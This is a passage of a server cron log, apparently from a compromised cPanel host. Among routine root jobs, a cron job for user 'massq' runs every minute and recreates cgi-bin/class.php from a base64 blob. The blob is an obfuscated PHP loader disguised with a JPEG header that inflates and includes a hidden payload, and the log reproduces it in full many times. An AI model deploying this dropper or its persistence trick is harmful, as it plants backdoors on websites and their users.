wFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:01:01 server run-parts(/etc/cron.hourly)[2782]: starting 0anacron
Aug 31 12:01:01 server run-parts(/etc/cron.hourly)[2805]: finished 0anacron
Aug 31 12:02:01 server CROND[3168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:02:01 server CROND[3170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:02:01 server CROND[3169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:03:01 server CROND[3635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:03:01 server CROND[3636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:03:01 server CROND[3637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:04:01 server CROND[4016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:04:01 server CROND[4017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:04:01 server CROND[4018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:05:01 server CROND[4415]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:05:01 server CROND[4418]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:05:01 server CROND[4417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:05:01 server CROND[4419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:05:01 server CROND[4425]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 12:05:01 server CROND[4427]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:05:01 server CROND[4428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:05:01 server CROND[4426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:06:01 server CROND[5283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:06:01 server CROND[5284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:06:01 server CROND[5285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:07:01 server CROND[5654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:07:01 server CROND[5655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:07:01 server CROND[5656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:08:01 server CROND[6184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:08:01 server CROND[6185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:08:01 server CROND[6183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:09:01 server CROND[6584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:09:01 server CROND[6587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:09:01 server CROND[6586]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 12:09:01 server CROND[6585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:10:01 server CROND[6968]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 12:10:01 server CROND[6973]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:10:01 server CROND[6971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:10:01 server CROND[6972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:10:01 server CROND[6976]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:10:01 server CROND[6975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:10:01 server CROND[6974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:10:01 server CROND[6978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:11:01 server CROND[7827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:11:01 server CROND[7826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:11:01 server CROND[7828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:12:01 server CROND[8230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:12:01 server CROND[8231]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 12:12:01 server CROND[8233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:12:01 server CROND[8232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:13:01 server CROND[8703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:13:01 server CROND[8704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:13:01 server CROND[8705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
